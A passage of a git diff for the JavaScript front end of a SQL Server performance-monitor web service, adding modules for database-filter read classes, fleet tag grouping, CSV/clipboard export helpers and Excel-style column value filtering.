-    el("table", { class: "data" }, [el("thead", {}, [head]), el("tbody", {}, bodyRows)]),
-  ]);
+/** Any result as a table of its returned columns — bucket localized, value formatted in the unit, dims as text.
+ *  Drawn through the shared grid (panels.js gridTable) so it sorts, filters, copies and exports like every other
+ *  table. Sort, Copy and the CSV read the RAW row (the stored bucket instant, the value as returned); the cells show
+ *  the formatted text. The grid's state is keyed by the panel's identity and the server it ran for. */
+function renderComposedTable(rows, unit, panelSpec = {}, scope = null, slot = null) {
+  const keys = Object.keys(rows[0] || {});
+  if (!keys.length) return emptyStrip("No columns to show.");
+  const columns = keys.map((c) => {
+    if (c === "value") return { key: c, label: columnLabel(c), align: "right", display: (r) => formatComposedValue(r[c], unit) };
+    if (c === "bucket") return { key: c, label: columnLabel(c), format: "time", display: (r) => localBucket(r[c]) };
+    return { key: c, label: columnLabel(c), display: (r) => (r[c] == null || r[c] === "" ? "—" : String(r[c])) };
+  });
+  /* An untitled composed panel has title "" and no id, so the name alone would give every one the same key. `||`
+     lets an empty title fall through to the measure, and `slot` (the panel's position on its view, from the caller)
+     keeps two panels with the same title or measure apart. */
+  const id = composedPanelId(panelSpec, scope, slot);
+  return gridTable(rows, { id, title: panelSpec.title || measureLabel(panelSpec), columns });
+}
+
+/** The stable identity of a composed panel on its view: its position (`slot`), its own id/title/measure and the server
+ *  it ran for. Nothing in it changes when the panel is rebuilt (the poll) — no row count, no timestamp, no array
+ *  index of the result — so state held under it (the grid's sort, a chart's hidden legend entries) survives a repaint
+ *  and cannot reach another panel. */
+function composedPanelId(panelSpec, scope, slot) {
+  return "composed|" + (slot ?? "") + "|" + (panelSpec.id || panelSpec.title || panelSpec.measure || panelSpec.ratio || "") + "|" + (scope && scope.server != null ? scope.server : "");
 }
 
 /** A table header for a result column: "Value" gains its unit, "bucket" -> "Time", a dim name is humanized. */
@@ -767,25 +816,6 @@ function annotationMetaMap() {
  *  collide with the primary series' CATEGORICAL_COLORS[0] on an ungrouped chart. */
 const OVERLAY_COLOR = "#ba68c8";
 
-/**
- * The transient zoom chip (#1606): the brushed window as local time, plus a clear that re-runs the panel on
- * its original window. View-state only — the stored definition is never touched (the drill-chip idiom).
- */
-function zoomChip(zoom, onZoomChange) {
-  const from = new Date(zoom.startIso);
-  const to = new Date(zoom.endIso);
-  const label = isNaN(from.getTime()) || isNaN(to.getTime())
-    ? "custom window"
-    : from.toLocaleString() + " → " + to.toLocaleString();
-  const chip = el("div", { class: "drill-chip zoom-chip" }, [
-    el("span", { class: "drill-label", text: "Zoomed: " + label }),
-  ]);
-  const clear = el("button", { class: "btn small drill-clear", type: "button", title: "Reset zoom", "aria-label": "Reset zoom", text: "×" });
-  clear.addEventListener("click", () => onZoomChange(null));
-  chip.appendChild(clear);
-  return chip;
-}
-
 function drillChip(drill, onDrill) {
   const parts = drill.keys.map((k) => humanize(k.dimension) + " = " + k.value);
   const chip = el("div", { class: "drill-chip" }, [
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js
new file mode 100644
index 0000000000..090f824db7
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js
@@ -0,0 +1,80 @@
+/* Which reads the server page's database filter (#5244, #5245) applies to. Pure data: no imports, so util.js can read it
+   from readTool and a test can read it as text. Every SQL Server read that a module reachable from pages/server.js names
+   sits in exactly ONE of the four classes below, and WebDatabaseFilterReadsTests fails a read that sits in none or in two,
+   so a new panel cannot default to "server-wide" by silence. PostgreSQL targets get no filter; their reads carry the
+   get_pg_ prefix and are in no class.
+
+   Keep every list below to plain quoted names, one string per read: the tests read this file as text.
+
+   Moving a read into FILTERED is a three-part change, pinned together by WebDatabaseFilterReadsTests: the read's catalog
+   row in DarlingWebEndpoints.cs carries PDatabases(), its dispatch entry calls DatabaseNames(c), and its name moves from
+   UNFILTERED to here. */
+
+/** Reads whose route takes the chosen databases: readTool adds one `database_name` key per chosen database to each. The six
+ *  top-query reads are here, and the later pages' reads after them. */
+export const FILTERED = new Set([
+  // Top queries, procedures, active queries, Query Store and the heatmap.
+  "get_top_queries_by_cpu", "get_top_procedures_by_cpu", "get_active_queries", "get_query_store_top",
+  "get_query_store_regressions", "get_query_heatmap",
+  // Object contention and index usage (#5231 PR2): the Locking page reads both. The Locking row's detail request
+  // (the `detail_*` selector) names its own database and ignores the injected filter.
+  "get_object_locking", "get_index_usage",
+  // Blocking and waits (#5244 PR3): the Blocking tab's blocking, trend, XML and stats reads and the Current Waits reads.
+  // get_blocking_stats limits only its blocking series (deadlock severity stays whole).
+  "get_blocking_trend", "get_waiting_tasks", "get_blocking", "get_current_waits_trend", "get_blocking_stats",
+  "get_blocked_process_xml",
+  // Duration trends, Query Store clutter, long queries and plan corrections (#5244 PR4).
+  "get_query_duration_trend", "get_procedure_duration_trend", "get_query_store_duration_trend",
+  "get_query_store_clutter", "get_long_query_completions", "get_plan_corrections",
+  // Configuration, Query Store health, configuration changes, severe errors and the default trace (#5244 PR6).
+  "get_database_config", "get_database_scoped_config", "get_query_store_health", "get_database_config_changes",
+  "get_health_parser_severe_errors", "get_default_trace_events",
+  // File I/O, sizes and the persistent version store (#5244 PR5). get_file_io_stats and get_file_io_trend chart one file
+  // per line for exactly one chosen database and one line per database otherwise.
+  "get_file_io_trend", "get_file_io_stats", "get_database_sizes", "get_table_index_sizes", "get_pvs_stats",
+]);
+
+/** Database-scoped reads that cannot take the filter yet, so they show every database and say so (the "All databases"
+ *  chip). 34 database-scoped reads in all: this list shrank as FILTERED grew, and what is left is the three
+ *  deadlock reads, which stay unfiltered on purpose (as on the desktop): a deadlock spans several databases, and they are
+ *  inside each deadlock graph. The groups follow the page that moves each read into FILTERED. */
+export const UNFILTERED = new Set([
+  // The deadlock reads: they stay here.
+  "get_deadlock_trend", "get_deadlocks", "get_deadlock_detail",
+]);
+
+/** Reads that take `database_name` as the identity of a row, not as a filter: the query drill, the seven plan-viewer
+ *  reads (the four plan reads, the Blocking and Deadlocks grids' plan reads of #5236, and the repro script of #5233, which
+ *  name one stored row and send that row's own database, or none) and the Query Store History panel's read (#5300: one Query
+ *  Store query, keyed by its database and query_id). The page always sends the row's own database, so the filter is never
+ *  injected into them and they show no chip. */
+export const IDENTITY = new Set([
+  "get_query_trend", "get_plan_xml", "get_query_store_plan_xml", "get_active_query_plan_xml", "get_procedure_plan_xml",
+  "get_query_store_query_history", "get_blocking_plan_xml", "get_deadlock_plan_xml", "get_query_repro_script",
+]);
+
+/** Every other SQL Server read a module of the server page names: the data has no database, so the filter does not apply.
+ *  That includes the fleet, FinOps, alert and self-monitoring reads the page's shared modules name. */
+export const SERVER_WIDE = new Set([
+  "audit_config", "get_alert_history", "get_analysis_findings", "get_collection_health", "get_collection_log",
+  "get_cpu_scheduler_pressure", "get_cpu_utilization", "get_daily_summary_range", "get_finops", "get_fleet_overview",
+  "get_health_parser_cpu_tasks", "get_health_parser_io_issues", "get_health_parser_memory_broker",
+  "get_health_parser_memory_conditions", "get_health_parser_memory_node_oom", "get_health_parser_scheduler_issues",
+  "get_health_parser_significant_waits", "get_health_parser_system_health", "get_job_history", "get_latch_stats",
+  "get_lock_wait_trend", "get_memory_clerks", "get_memory_grants", "get_memory_pressure_events", "get_memory_stats",
+  "get_memory_trend", "get_mute_rules", "get_perfmon_stats", "get_perfmon_trend", "get_plan_cache_bloat",
+  "get_read_latency", "get_resource_semaphore", "get_running_jobs", "get_server_config", "get_server_config_changes",
+  "get_server_properties", "get_server_summary", "get_server_trend", "get_session_stats", "get_slow_reads",
+  "get_spinlock_stats", "get_store_query_history", "get_tempdb_trend", "get_trace_flag_changes", "get_trace_flags",
+  "get_wait_stats", "get_wait_trend",
+]);
+
+/** The class a read is in: "filtered", "unfiltered", "identity" or "server" (server-wide); null for a read no class names
+ *  (a PostgreSQL read, or one added without being classified: WebDatabaseFilterReadsTests fails the second). */
+export function readScope(tool) {
+  if (FILTERED.has(tool)) return "filtered";
+  if (UNFILTERED.has(tool)) return "unfiltered";
+  if (IDENTITY.has(tool)) return "identity";
+  if (SERVER_WIDE.has(tool)) return "server";
+  return null;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/editor.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/editor.js
index 53cc4342d4..94cd04d455 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/editor.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/editor.js
@@ -29,6 +29,7 @@
 
 import { el, mount, apiGetFleet, readToolWithinKeptHistory } from "./util.js";
 import { renderPanel, VIZ } from "./panels.js";
+import { orderServers } from "./server-order.js";
 import { SERIES_COLORS, normalizeColor } from "./charts.js";
 import { renderComposedPanelCard } from "./compose.js";
 import { buildCreateAlertAction } from "./alert-seed.js";
@@ -36,6 +37,7 @@ import * as api from "./views-api.js";
 import { refreshChoiceOf } from "./refresh-policy.js";
 import { buildRefreshControl } from "./refresh-control.js";
 import * as derive from "./derive.js";
+import { rollingHoursPicker } from "./page-range.js";
 
 /** The FORMATTERS keys the format pickers offer (mirrors util.js FORMATTERS). */
 const FORMAT_OPTIONS = ["text", "int", "num1", "num2", "rate", "pct", "ms", "mb", "time", "reltime", "bool"];
@@ -51,6 +53,8 @@ const RANGE_OPTIONS = [
   { hours: 24 * 90, label: "Last 90 days" },
 ];
 const DEFAULT_RANGE_HOURS = 24;
+/** The longest default range a view takes: the compose runner's window ceiling (ComposeLimits.MaxWindowHours, 90 days). */
+const MAX_VIEW_RANGE_HOURS = 24 * 90;
 
 /** The default chart per composed-panel shape (a working chart the instant a measure is picked). */
 const DEFAULT_VIZ_FOR_SHAPE = { timeseries: "line", topseries: "line", ranked: "bar", scalar: "stat" };
@@ -113,7 +117,7 @@ export async function renderEditor(main, id) {
 export async function loadFleetOptions() {
   const res = await apiGetFleet();
   if (res.kind !== "data" || !res.data) return [];
-  return [...(res.data.cards || [])]
+  return orderServers(res.data.cards || [])
     .map((c) => ({
       value: c.server_name || c.display_name,
       label: c.display_name,
@@ -121,8 +125,7 @@ export async function loadFleetOptions() {
       isAzureSqlDb: c.is_azure_sql_db === true,
       isAzureMi: c.is_azure_mi === true,
     }))
-    .filter((o) => o.value)
-    .sort((a, b) => a.label.localeCompare(b.label));
+    .filter((o) => o.value);
 }
 
 /* Fleet TAG options for the alert-rule scope picker (#3350): the /api/fleet tag forest flattened depth-first
@@ -1817,14 +1820,18 @@ export function buildViewScopeSection(model, catalog, onStructuralChange) {
   const compose = catalog.compose || {};
   const dimNames = variableDimensionNames(compose);
 
-  const rangeSel = el("select", { class: "editor-select", "aria-label": "Default time range" });
-  rangeSel.appendChild(el("option", { value: "", text: "Default (last 24 hours)" }));
-  for (const r of RANGE_OPTIONS) rangeSel.appendChild(el("option", { value: String(r.hours), text: r.label }));
-  rangeSel.value = model.rangeHours != null ? String(model.rangeHours) : "";
-  rangeSel.addEventListener("change", () => {
-    model.rangeHours = rangeSel.value ? parseInt(rangeSel.value, 10) : null;
-    onStructuralChange();
-  });
+  /* The view's default range is "this many hours back from now" (def.range.hours), so it is the shared picker's rolling-only form
+     (#5562): up to the compose runner's 90 days, a longer length greyed out with the reason, never clamped. It starts on the saved
+     hours, or the 24 hour default for a view with none, and saves what the reader picks. */
+  const rangeSel = rollingHoursPicker({
+    hours: model.rangeHours != null ? model.rangeHours : DEFAULT_RANGE_HOURS,
+    reachHours: MAX_VIEW_RANGE_HOURS,
+    label: "Default time range",
+    onChange: (hours) => {
+      model.rangeHours = hours;
+      onStructuralChange();
+    },
+  }).node;
 
   const varsBox = el("div", { class: "item-list vars" });
 
@@ -2291,7 +2298,8 @@ function topLevelScalarKeys(sample) {
 
 function rowKeys(sample, rowsKey) {
   const first = firstRow(sample, rowsKey);
-  return first ? Object.keys(first) : [];
+  /* Scalar-valued keys only: a nested value (processes[], graph) would render as [object Object]. */
+  return first ? Object.keys(first).filter((k) => first[k] === null || typeof first[k] !== "object") : [];
 }
 
 function rowNumericKeys(sample, rowsKey) {
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/fleet-groups.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/fleet-groups.js
new file mode 100644
index 0000000000..a8d7bb4352
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/fleet-groups.js
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * Tag grouping and name/tag matching shared by the Fleet page (pages/fleet.js) and the sidebar server list
+ * (sidebar.js), so the two views group and filter the same way. Pure: no imports and no DOM, so the rules run
+ * under Node.
+ */
+
+/* The web twin of FleetView's projection: the tag forest depth-first (child tags before a tag's own servers),
+   then an Untagged group last. Each entry is one group header with its DIRECTLY-assigned server cards; a server
+   carrying multiple tags appears under each, and an untagged server appears only under Untagged. Cycle- and
+   dangling-parent-safe (an orphaned tag surfaces as a root rather than vanishing). No Favorites group — the web
+   fleet has no per-user favourites. */
+export function buildTagGroups(forest, cards, sortFn) {
+  const known = new Set(forest.map((t) => t.id));
+  const byParent = new Map();
+  for (const t of forest) {
+    const p = t.parent_id != null && known.has(t.parent_id) ? t.parent_id : 0; // dangling parent -> root
+    if (!byParent.has(p)) byParent.set(p, []);
+    byParent.get(p).push(t);
+  }
+  for (const list of byParent.values()) list.sort((a, b) => a.sort_order - b.sort_order || a.name.localeCompare(b.name));
+
+  const serversByTag = new Map();
+  for (const c of cards) {
+    for (const t of c.tags || []) {
+      if (!serversByTag.has(t.id)) serversByTag.set(t.id, []);
+      serversByTag.get(t.id).push(c);
+    }
+  }
+
+  const groups = [];
+  const visited = new Set();
+  function emit(tag, depth) {
+    if (visited.has(tag.id)) return;
+    visited.add(tag.id);
+    const servers = (serversByTag.get(tag.id) || []).slice().sort(sortFn);
+    const kids = byParent.get(tag.id) || [];
+    groups.push({ key: "tag:" + tag.id, name: tag.name, depth, cards: servers, hasChildren: kids.length > 0 || servers.length > 0 });
+    for (const kid of kids) emit(kid, depth + 1);
+  }
+  for (const root of byParent.get(0) || []) emit(root, 0);
+  for (const t of forest) if (!visited.has(t.id)) emit(t, 0); // cycle / disconnected -> surface as a root
+
+  const untagged = cards.filter((c) => !(c.tags || []).length).slice().sort(sortFn);
+  if (untagged.length) groups.push({ key: "untagged", name: "Untagged", depth: 0, cards: untagged, hasChildren: true });
+
+  return groups;
+}
+
+/* Name/tag filter, matching the desktop apps' ServerOverviewFilter rule: an empty term matches everything,
+   otherwise a case-insensitive substring of the display name, the instance name, or any of the server's tag
+   names (#2020) — so `prod` finds both sql-prod-01 and everything tagged Production, as on the desktop. */
+export function cardMatches(c, q) {
+  const needle = (q || "").trim().toLowerCase();
+  if (!needle) return true;
+  return (
+    (c.display_name || "").toLowerCase().includes(needle) ||
+    (c.server_name || "").toLowerCase().includes(needle) ||
+    (c.tags || []).some((t) => (t.name || "").toLowerCase().includes(needle))
+  );
+}
+
+
+/**
+ * The sidebar's server list as an ordered row model, so the page only paints it. `opts`:
+ *   term        the search box text (matched by cardMatches; empty matches everything)
+ *   grouped     false: one flat list; true: Favourites, then the tag tree depth-first, then Untagged
+ *   sortFn      the card order (the sidebar passes favourites-first by display name)
+ *   isFavorite  (card) => bool
+ *   isCollapsed (id) => bool, id being a tag id or the fixed ids "favourites" and "untagged"
+ * Rows are { kind: "server", card, depth } and
+ * { kind: "group", id, name, depth, count, subtreeCount, collapsed, hasChildren }: `count` is the group's own
+ * servers, `subtreeCount` the DISTINCT servers in the group and everything under it (what a collapsed header hides).
+ * A group appears only when it or one of its descendants holds a matching server, so an unused tag never takes a
+ * line in a narrow list. A server in several tags is listed under each. Collapsing a group hides its whole
+ * subtree, except while the (trimmed) term is non-empty: a search ignores collapse state so a group holding a
+ * match is never shown closed over it (the stored state is the caller's and is untouched). `empty` is true when
+ * the term left nothing to show.
+ */
+export function sidebarRows(cards, forest, opts) {
+  const matched = cards.filter((c) => cardMatches(c, opts.term));
+  const sortFn = opts.sortFn;
+  if (!opts.grouped) {
+    return { rows: matched.slice().sort(sortFn).map((card) => ({ kind: "server", card, depth: 0 })), empty: matched.length === 0 };
+  }
+
+  const groups = [];
+  const favourites = matched.filter(opts.isFavorite).sort(sortFn);
+  if (favourites.length) groups.push({ id: "favourites", name: "Favourites", depth: 0, cards: favourites, hasChildren: true });
+  for (const g of buildTagGroups(forest || [], matched, sortFn)) {
+    groups.push({ id: g.key === "untagged" ? "untagged" : Number(g.key.slice(4)), name: g.name, depth: g.depth, cards: g.cards, hasChildren: g.hasChildren });
+  }
+
+  const keep = groups.map((g) => g.cards.length > 0);
+  for (let i = groups.length - 2; i >= 0; i--) {
+    for (let j = i + 1; j < groups.length && groups[j].depth > groups[i].depth; j++) if (keep[j]) keep[i] = true;
+  }
+
+  const searching = (opts.term || "").trim() !== "";
+  const rows = [];
+  let hideBelow = Infinity;
+  groups.forEach((g, i) => {
+    if (!keep[i] || g.depth > hideBelow) return;
+    hideBelow = Infinity;
+    const collapsed = !searching && opts.isCollapsed(g.id);
+    const subtree = new Set(g.cards.map((c) => c.server_id));
+    for (let j = i + 1; j < groups.length && groups[j].depth > g.depth; j++) for (const c of groups[j].cards) subtree.add(c.server_id);
+    rows.push({ kind: "group", id: g.id, name: g.name, depth: g.depth, count: g.cards.length, subtreeCount: subtree.size, collapsed, hasChildren: g.hasChildren });
+    if (collapsed) {
+      hideBelow = g.depth;
+      return;
+    }
+    for (const card of g.cards) rows.push({ kind: "server", card, depth: g.depth + 1 });
+  });
+  return { rows, empty: rows.length === 0 };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-tools.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-tools.js
new file mode 100644
index 0000000000..1631863691
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-tools.js
@@ -0,0 +1,92 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* Copy and CSV helpers for the shared table renderer (#4843). Pure functions plus two thin browser seams
+   (clipboard, download); nothing here touches the DOM tree, so each is testable under Node. */
+
+/** A cell as tab-separated text sees it: tabs and line breaks collapse to a space so one cell stays one field. */
+export function plainCell(text) {
+  return String(text ?? "").replace(/[\t\r\n]+/g, " ");
+}
+
+/** Rows of already-formatted cells as tab-separated lines (the form a spreadsheet pastes into columns). */
+export function toTsv(rows) {
+  return rows.map((r) => r.map(plainCell).join("\t")).join("\n");
+}
+
+/* A spreadsheet runs a cell that starts with one of these as a formula. A leading apostrophe makes it text. A real
+   number is left alone (a negative value is data, not a formula), and so is a string that is only a number
+   ("-5", "+3", "1e-3"); any other string is neutralised. */
+const FORMULA_LEAD = /^[=+\-@\t\r]/;
+const PLAIN_NUMBER = /^[+-]?\d+(\.\d+)?([eE][+-]?\d+)?$/;
+
+/** One CSV field, RFC 4180: quoted when it holds a comma, quote, CR or LF, with quotes doubled. */
+export function csvField(v) {
+  if (v == null) return "";
+  let s = v instanceof Date ? v.toISOString() : String(v);
+  if (typeof v === "string" && FORMULA_LEAD.test(s) && !PLAIN_NUMBER.test(s)) s = "'" + s;
+  return /[",\r\n]/.test(s) ? '"' + s.replace(/"/g, '""') + '"' : s;
+}
+
+/** Rows (arrays of raw values) as CSV text, CRLF-separated per RFC 4180. */
+export function toCsv(rows) {
+  return rows.map((r) => r.map(csvField).join(",")).join("\r\n");
+}
+
+/** True for a value a CSV cell cannot hold as one scalar: an array or a plain object (a Date is a scalar). */
+export function isListValue(v) {
+  return v != null && typeof v === "object" && !(v instanceof Date);
+}
+
+/** A file name from the table's title and the time: "slow-queries-20260105-143007.csv" (UTC). */
+export function csvFileName(title, now = new Date()) {
+  const slug = String(title ?? "").toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-+|-+$/g, "").slice(0, 60) || "table";
+  const p = (n) => String(n).padStart(2, "0");
+  const stamp =
+    now.getUTCFullYear() + p(now.getUTCMonth() + 1) + p(now.getUTCDate()) + "-" + p(now.getUTCHours()) + p(now.getUTCMinutes()) + p(now.getUTCSeconds());
+  return slug + "-" + stamp + ".csv";
+}
+
+export const COPY_UNAVAILABLE = "Copy isn't available here: the browser only allows it on a secure (HTTPS or localhost) page.";
+
+/** Puts text on the clipboard. Resolves to { ok, message }; never throws, so the caller can always say what happened. */
+export async function copyText(text) {
+  const nav = typeof navigator !== "undefined" ? navigator : null;
+  const secure = typeof window === "undefined" || window.isSecureContext !== false;
+  if (!nav || !nav.clipboard || typeof nav.clipboard.writeText !== "function" || !secure) {
+    return { ok: false, message: COPY_UNAVAILABLE };
+  }
+  try {
+    await nav.clipboard.writeText(text);
+    return { ok: true, message: "Copied." };
+  } catch (e) {
+    return { ok: false, message: "Copy failed: " + (e && e.message ? e.message : "the browser refused.") };
+  }
+}
+
+const REVOKE_AFTER_MS = 10000;
+
+/** Hands text to the browser as a file download under the given MIME type. */
+export function downloadText(fileName, parts, type) {
+  const blob = new Blob(parts, { type });
+  const url = URL.createObjectURL(blob);
+  const a = document.createElement("a");
+  a.href = url;
+  a.download = fileName;
+  a.style.display = "none";
+  document.body.appendChild(a);
+  a.click();
+  document.body.removeChild(a);
+  /* Some browsers cancel the download if the URL is revoked before it has started. */
+  setTimeout(() => URL.revokeObjectURL(url), REVOKE_AFTER_MS);
+}
+
+/** Hands CSV text to the browser as a file download (UTF-8 with a byte-order mark so a spreadsheet reads unicode). */
+export function downloadCsv(fileName, csv) {
+  downloadText(fileName, ["\uFEFF", csv], "text/csv;charset=utf-8");
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-value-filter.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-value-filter.js
new file mode 100644
index 0000000000..7434bdc6f9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-value-filter.js
@@ -0,0 +1,235 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The value-list half of a table's column filter (#5565): the pure logic behind the Excel-style checklist that sits
+ * beside the text match, and the bounded copy of the active filters that lives in the browser's localStorage. panels.js
+ * owns the DOM and the live filters; this file owns the arithmetic, so a test can drive it without a page.
+ *
+ * A column's value filter is { mode, set, blank }:
+ *   - mode "none": every value passes (the list is all ticked), set is empty and blank false;
+ *   - mode "hide": the values in `set` do not pass, and neither do the blank cells when `blank` is true;
+ *   - mode "showOnly": only the values in `set` pass, and the blank cells only when `blank` is true.
+ * Blank is its own flag, never the string "(Blanks)", so a real value spelled that way is an ordinary value. Values
+ * compare ordinal, ignoring case the way .NET's OrdinalIgnoreCase does (valueKey: "app" and "APP" are one value,
+ * "ss" and the sharp s are two), and a cell is blank when it is null, empty or whitespace. The mode is chosen whenever the list changes (nextValues): all ticked is "none", fewer unticked than
+ * ticked is "hide" the unticked, anything else is "showOnly" the ticked. Hide is what lets a login that first shows
+ * up after a refresh still show; showOnly is what keeps a refresh from showing a value nobody ticked.
+ */
+
+/** The longest value (in characters) a column may hold and still be offered as a list; longer text keeps the text match. */
+export const VALUE_LIST_MAX_LEN = 256;
+/** At most this many values are listed; the search box still reaches every one. */
+export const VALUE_LIST_CAP = 1000;
+/** The localStorage key holding the active filters of every grid (version 1 of the format). */
+export const FILTER_STORE_KEY = "pm.gridFilters.v1";
+/** At most this many grids are kept; the least recently used go first. */
+export const FILTER_STORE_MAX_GRIDS = 200;
+/** A column whose value set is longer than this is not kept across a restart (a cut set would change what it hides). */
+export const FILTER_STORE_MAX_VALUES = 1000;
+const STORE_MAX_TEXT = 1000;
+const STORE_MAX_KEY = 2000;
+
+export const NO_VALUES = Object.freeze({ mode: "none", set: Object.freeze([]), blank: false });
+
+/**
+ * The comparison key of a value: ordinal, ignoring case, the way .NET's StringComparison.OrdinalIgnoreCase does it (the
+ * desktop twin): each character is uppercased on its own with the simple mapping, so a character whose uppercase form
+ * is longer than one character (the sharp s, which String.toUpperCase turns into "SS") stays as it is, and so do the
+ * dotless i and the long s, which .NET does not fold into "I" and "S". JavaScript has no simple-mapping call, so a
+ * character with a longer full mapping that also has a different simple one (a few Greek capitals with iota
+ * subscript) is the one place this can differ.
+ */
+export const valueKey = (s) => {
+  const text = String(s);
+  if (/^[\x00-\x7f]*$/.test(text)) return text.toUpperCase();
+  let out = "";
+  for (const ch of text) {
+    const up = ch.toUpperCase();
+    const folds = up.length === ch.length && (ch.charCodeAt(0) < 128 || up.charCodeAt(0) >= 128);
+    out += folds ? up : ch;
+  }
+  return out;
+};
+
+/**
+ * The name rule for a column that never gets a value list (#5565), the twin of the desktop's ColumnValueListColumns:
+ * query and statement text, plans, XML, scripts, prose (messages, details, descriptions, errors, reasons), and the display
+ * strings that stand in for a number or a time. A list of them is a wall of near-unique strings, and its ticked
+ * values would be kept in the browser. The key is compared with its punctuation dropped, lower-cased, so the page's
+ * snake_case keys ("blocked_sql_text") and the desktop's property names ("BlockedSqlText") read the same. A column
+ * marked `valueList: false` is excluded as well. ColumnValueListNameRuleTests holds these two arrays to the desktop's.
+ */
+export const NO_LIST_SUFFIXES = [
+  "text", "formatted", "display", "xml", "plan", "message", "definition", "preview", "sql", "detail", "details",
+  "description", "statement", "query", "command", "json", "graph", "script", "error", "info", "reason",
+];
+export const NO_LIST_FRAGMENTS = ["querytext", "queryplan", "sqltext", "statementtext", "batchtext", "planxml", "textdata"];
+
+/** Whether a column's key (or a stored column id, whose part before the label separator is the key) is one that gets no list. */
+export function noListName(key) {
+  const name = String(key ?? "").split("\u0001")[0].replace(/[^A-Za-z0-9]/g, "").toLowerCase();
+  if (!name) return true;
+  return NO_LIST_FRAGMENTS.some((f) => name.includes(f)) || NO_LIST_SUFFIXES.some((s) => name.endsWith(s));
+}
+
+/** Whether a table column may be offered a value list by its declaration: not opted out and not named like prose or a statement. */
+export const listableColumn = (c) => !!c && c.valueList !== false && !noListName(c.key);
+
+/** Whether the value filter narrows anything. */
+export const valuesOn = (v) => !!v && (v.mode === "hide" || v.mode === "showOnly");
+
+/**
+ * The distinct values of a column. `cells` is [{ blank, text }] in grid order. Returns { blank, values, maxLen }: blank
+ * is true when any cell is blank, values are the distinct non-blank texts (the first spelling seen stands for a value
+ * that differs only in case) sorted ordinal ignoring case, maxLen is the longest text.
+ */
+export function collectValues(cells) {
+  const seen = new Map();
+  let blank = false;
+  let maxLen = 0;
+  for (const cell of cells) {
+    if (cell.blank) {
+      blank = true;
+      continue;
+    }
+    if (cell.text.length > maxLen) maxLen = cell.text.length;
+    const k = valueKey(cell.text);
+    if (!seen.has(k)) seen.set(k, cell.text);
+  }
+  const keys = [...seen.keys()].sort((a, b) => (a < b ? -1 : a > b ? 1 : 0));
+  return { blank, values: keys.map((k) => seen.get(k)), maxLen };
+}
+
+/** A value filter ready to test many cells: its set as comparison keys. */
+export function compileValues(v) {
+  const f = v || NO_VALUES;
+  return { mode: f.mode, keys: new Set(f.set.map(valueKey)), blank: !!f.blank };
+}
+
+/** Whether a cell is ticked in the list (so passes the value part). */
+export function valuePasses(c, blank, text) {
+  if (c.mode === "none") return true;
+  if (blank) return c.mode === "showOnly" ? c.blank : !c.blank;
+  const has = c.keys.has(valueKey(text));
+  return c.mode === "showOnly" ? has : !has;
+}
+
+/**
+ * The value filter after the reader changes the ticks. `universe` is collectValues over the rows now; `prev` the
+ * filter in force; `mutate(model)` edits model = { ticked: Set of comparison keys, blank: bool } (blank is the
+ * (Blanks) entry's tick). A value the filter holds that the rows no longer have is not in the universe: it keeps the
+ * state it had (hidden stays hidden under "hide", shown stays shown under "showOnly") for as long as the new filter
+ * is the same kind, and drops when the kind changes.
+ */
+export function nextValues(universe, prev, mutate) {
+  const before = compileValues(prev);
+  const known = new Set(universe.values.map(valueKey));
+  const model = { ticked: new Set(), blank: universe.blank ? valuePasses(before, true, "") : true };
+  for (const v of universe.values) if (valuePasses(before, false, v)) model.ticked.add(valueKey(v));
+  mutate(model);
+  const entries = universe.values.length + (universe.blank ? 1 : 0);
+  const tickedN = universe.values.filter((v) => model.ticked.has(valueKey(v))).length + (universe.blank && model.blank ? 1 : 0);
+  const unticked = entries - tickedN;
+  if (unticked === 0) return NO_VALUES;
+  const prevSet = prev ? prev.set : [];
+  const gone = prevSet.filter((s) => !known.has(valueKey(s)));
+  if (unticked < tickedN) {
+    const hidden = universe.values.filter((v) => !model.ticked.has(valueKey(v)));
+    const keep = prev && prev.mode === "hide" ? gone : [];
+    return { mode: "hide", set: [...hidden, ...keep], blank: universe.blank ? !model.blank : !!(prev && prev.mode === "hide" && prev.blank) };
+  }
+  const shown = universe.values.filter((v) => model.ticked.has(valueKey(v)));
+  const keep = prev && prev.mode === "showOnly" ? gone : [];
+  return { mode: "showOnly", set: [...shown, ...keep], blank: universe.blank ? model.blank : !!(prev && prev.mode === "showOnly" && prev.blank) };
+}
+
+/** "hides 3 values" / "shows 2 values" for a chip or tooltip; the blank entry counts as a value. */
+export function valuesPhrase(v) {
+  if (!valuesOn(v)) return "";
+  const n = v.set.length + (v.blank ? 1 : 0);
+  return (v.mode === "hide" ? "hides " : "shows ") + n + (n === 1 ? " value" : " values");
+}
+
+/* ---- the kept copy ---- */
+
+const isStr = (x, max) => typeof x === "string" && x.length <= max;
+
